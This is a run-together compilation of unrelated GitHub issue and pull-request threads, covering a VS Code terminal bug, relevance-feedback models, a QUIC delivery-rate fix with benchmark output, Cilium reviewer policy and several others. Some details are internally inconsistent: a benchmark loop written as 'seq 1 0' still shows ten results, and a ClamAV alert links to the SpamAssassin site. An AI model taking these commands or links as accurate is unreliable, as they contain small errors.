Node.js: 14.16.0
V8: 9.1.269.39-electron.0
OS: Darwin arm64 20.5.0
Steps to Reproduce:
The integrated terminal doesn't start and the terminal controls on the top right of the panel don't work
Happening in both versions of VSCode on my computer. Recently started happening. I checked the developer tools console and found this error every time this happens.

Please update to today's Insiders and re-test.

Same thing happening with:
Version: 1.61.0-insider
Commit: 1b9403cd461c9c975bcb9e48d84ba9e4ea86559e
Date: 2021-09-21T08:57:27.561Z (7 hrs ago)
Electron: 13.4.0
Chrome: 91.0.4472.164
Node.js: 14.16.0
V8: 9.1.269.39-electron.0
OS: Darwin arm64 20.5.0


Axiomatic Analysis for Improving the Log-Logistic Feedback Model

Should we implement this in Anserini?
Axiomatic Analysis for Improving the Log-Logistic Feedback Model
https://dl.acm.org/citation.cfm?id=2914768

@lintool I am implementing a couple of relevance models for my research, so I would like to implement this.

@lintool For my research, I have implemented the basic LL model. I also have implemented MixtureMode, Distill model, and the Rocchio method. I plan to implement the axiomatic-based models of LL later.
I am not sure whether we should create separate issues for these methods that I have implemented, then pull request these issues or put them all into a single issue.
As we are adding more relevance feedback methods, I think it is better to have regression tests for all relevance models, which we update regularly.
Let me know what you think?

Can you send a PR for LL first? How effective is it? The effectiveness values for LL reported in the paper are lower than what we have for baseline RM3.

I would PR that soon with results. But, the results is below what we have for bm25+RM3.
Apart from that, I did build my code on top of the #626 code, so should I wait until that get merged before the new PR.

@aalbahem I just commented on #626 - lmk what you think...

There doesn't seem to be interest in this. Closing.


Issues with disk partitions

\n (new line) returned at the end of partition label

Capacity is always zero

Used shouldn’t be null it should be 0

Is this blocking testing or does it just need to be fixed before we ship?


Update ycsb python wrapper

This wrapper has been updated to be Python2-Python3 compatible.
And the Python2.6 supported has been removed as it is almost impossible to be used.

I've never gone into that run from source branch honestly. It should work for both two branches now. Tested on my laptop.

Thanks for the update!

ah geez. it looks like this closed automatically when I made the 0.16.0 release and I totally didn't notice. my apologies!
I need to figure out which of the three attempts at python 3 support we adopt and then move forward with one. I'll keep this one in the running.

favoring #1421 instead


delivery rate: fix where on_packet_sent() hook is called

Fix where delivery_rate.on_packet_sent() is called to be after updating the time to send the packet. It will reduce the chance that rate_sample.interval is shorter than min_rtt, especailly useful for low latency (<1ms) network.

A simple test when running quiche-server --cc-algorithm=bbr.
Run ```
for i in $(seq 1 0)
do
h2load -N 30s -n 1 -c 1 -m 1 -t 1 --npn-list h3 https://localhost:9443/100m.dat | grep finished
sleep 1
done

`master` branch: You can see occasional slowness (6th and 7th request)

finished in 410.19ms, 2.44 req/s, 243.79MB/s
finished in 410.80ms, 2.43 req/s, 243.43MB/s
finished in 410.19ms, 2.44 req/s, 243.80MB/s
finished in 401.71ms, 2.49 req/s, 248.94MB/s
finished in 415.21ms, 2.41 req/s, 240.85MB/s
finished in 667.62ms, 1.50 req/s, 149.79MB/s
finished in 664.66ms, 1.50 req/s, 150.46MB/s
finished in 403.41ms, 2.48 req/s, 247.89MB/s
finished in 407.69ms, 2.45 req/s, 245.29MB/s
finished in 419.23ms, 2.39 req/s, 238.54MB/s

This PR: (stable)

finished in 413.82ms, 2.42 req/s, 241.66MB/s
finished in 416.20ms, 2.40 req/s, 240.28MB/s
finished in 414.03ms, 2.42 req/s, 241.54MB/s
finished in 442.01ms, 2.26 req/s, 226.25MB/s
finished in 418.40ms, 2.39 req/s, 239.01MB/s
finished in 412.42ms, 2.42 req/s, 242.48MB/s
finished in 415.85ms, 2.40 req/s, 240.48MB/s
finished in 416.69ms, 2.40 req/s, 239.99MB/s
finished in 417.65ms, 2.39 req/s, 239.44MB/s
finished in 407.97ms, 2.45 req/s, 245.12MB/s


[ Milestone 2 ] Reducer Functions

Added Redux and it's toolkit
Followed the sturcture provided
Added the action-types and action creator functions for the book reducer and categories reducer
Added the configure file which holds the redux store

@mukhammadrizooff  Thanks for the review 😄


feat(BoardControls): replace alert with snackbar in Timer

Codecov Report

Merging #664 (0cc2725) into master (5cf20ce) will not change coverage.
The diff coverage is n/a.

@@            Coverage Diff            @@
##            master      #664   +/-   ##
=========================================
  Coverage   100.00%   100.00%
=========================================
  Files           75        75
  Lines          794       793    -1
  Branches       119       119
=========================================
- Hits           794       793    -1

Impacted Files
Coverage Δ

src/components/BoardControls/Timer.tsx
100.00% <ø> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 5cf20ce...0cc2725. Read the comment docs.


Docs: Updates Granting Commit Access Details

@lizrice made me aware of that code reviews may be the the best way to demonstrate the required expertise and commitment to sustained contribution for the project. This PR emphasizes the importance of reviews in the granting commit access section of the committer policy doc.

Rerunning CIN jobs due to:
Error: Error response from daemon: Get "https://quay.io/v2/": received unexpected HTTP status: 502 Bad Gateway

Sorry, I didn’t mean to suggest that reviewing is more important than the other factors, and I wouldn’t want to suggest in the docs that there is some kind of hierarchy. I meant more that when someone gets appointed to Reviewer status, fulfilling the expectations of that role by doing effective reviews is quite a visible way to make one’s mark and build up confidence from the rest of the community.
I think this might be symptomatic of a bigger problem where it might not be very clear how folks progress through the Contributor Ladder. It would be really interesting to understand how other projects manage this - for example how they give feedback to folks on whether they are meeting the expectations that are laid out. I’ll ask for some advice in the CNCF maintainers’ circle, and it would be great to get your thoughts on projects that do this well. (It doesn’t help that our governance documentation is not all in one place so probably quite hard to navigate!)

I meant more that when someone gets appointed to Reviewer status, fulfilling the expectations of that role by doing effective reviews is quite a visible way to make one’s mark and build up confidence from the rest of the community.

I think it's also important to keep in mind the requirement to balance the 7 bullets outlined in the granting commit access document. For example, I am working on https://github.com/cilium/cilium/issues/19251. Fixing this issue has required a considerable amount of my time and focus due to the size and complexity of the necessary code changes. See PR 30684 for additional details and note this PR only lays the foundation for adding IPv6 prefix delegation.

I would say that it's worth us having some more discussion around the review process, expectations and impacts on other community members. The current system attempts to distribute load evenly based on GitHub review allocation mechanisms, which takes into account how individual users are contributing to the project, but does not really take into account how busy those contributors are or whether their time is better spent elsewhere. How we manage expectations while keeping the overall community development moving is important - do we put the onus for finding other reviewers on the assigned reviewers or on the contributors? And of course, if the GitHub load balancing algorithm is broadly fair / even in the long run, then if we deviate from its process, how do we balance the maintenance workload for review across the volunteers for those review groups.

I'm turning this PR to draft until we've clarified how/whether the document should be updated.

@qmonnet @danehans Correct me if I'm wrong, but I think the intent here is to start some more discussion about review expectations to ensure that various reviewers are all seeing things the same way. I think that's valuable and we can continue that, but I am struggling a bit on how to formulate a path forward on the text change proposal in this PR. I think that the current text outlines clearly the set of attributes that are considered and I don't really see the need to make changes to emphasize review. I think review is important, but so are the other attributes, so the proposed text here doesn't create additional clarity on the process. As such, I doubt a little bit that moving this PR to draft will help to move that discussion forward. "Draft" status suggests that the contributor needs to continue iterating without feedback. Without subsequent follow-up from Daneyon, the PR will just gets marked as stale and get closed out in a couple of months. If that's the path for the PR, maybe it's clearer for us to just close it out. We can always file another PR to improve/clarify documentation for reviewers.
However, that leaves me with the question about how we continue this discussion. Would it make sense to add "reviewer expectations" to an upcoming community meeting so that we can collect more experiences and explore whether there are other docs/process improvements we can make to ensure a common set of expectations amongst reviewers?

I agree that moving to draft won't help, although the PR didn't move during the last two weeks already. My guess is that we'll end up closing this one eventually, so we can maybe do it now indeed. Although just closing it without taking a decision on the next steps won't solve the issue we're trying to address.

Would it make sense to add "reviewer expectations" to an upcoming community meeting [...]

Yes, I'd say the community meeting is likely the best forum to get more developers expressing their opinion on this. Daneyon, how would you feel about introducing the topic in a future session?


⚠ ClamAV has degraded performance

In 783ba4f, ClamAV (https://spamassassin.apache.org/) experienced degraded performance:

HTTP code: 200
Response time: 77 ms

Resolved: ClamAV performance has improved in a9e7852.


Create classpath file by automatically inferring dependencies from application's gradle build file

Is your feature request related to a problem? Please describe.
Currently the user needs to manually specify all jars on which the application under test depends. This might be cumbersome and time consuming.
Describe the solution you'd like
Tackle-test cli should automatically infer dependencies on external jars from gradle build files, download locally and create the classpath file.
Describe alternatives you've considered
A clear and concise description of any alternative solutions or features you've considered.
Additional context
Add any other context or screenshots about the feature request here.

Done via PR: https://github.com/konveyor/tackle-test-generator-cli/pull/106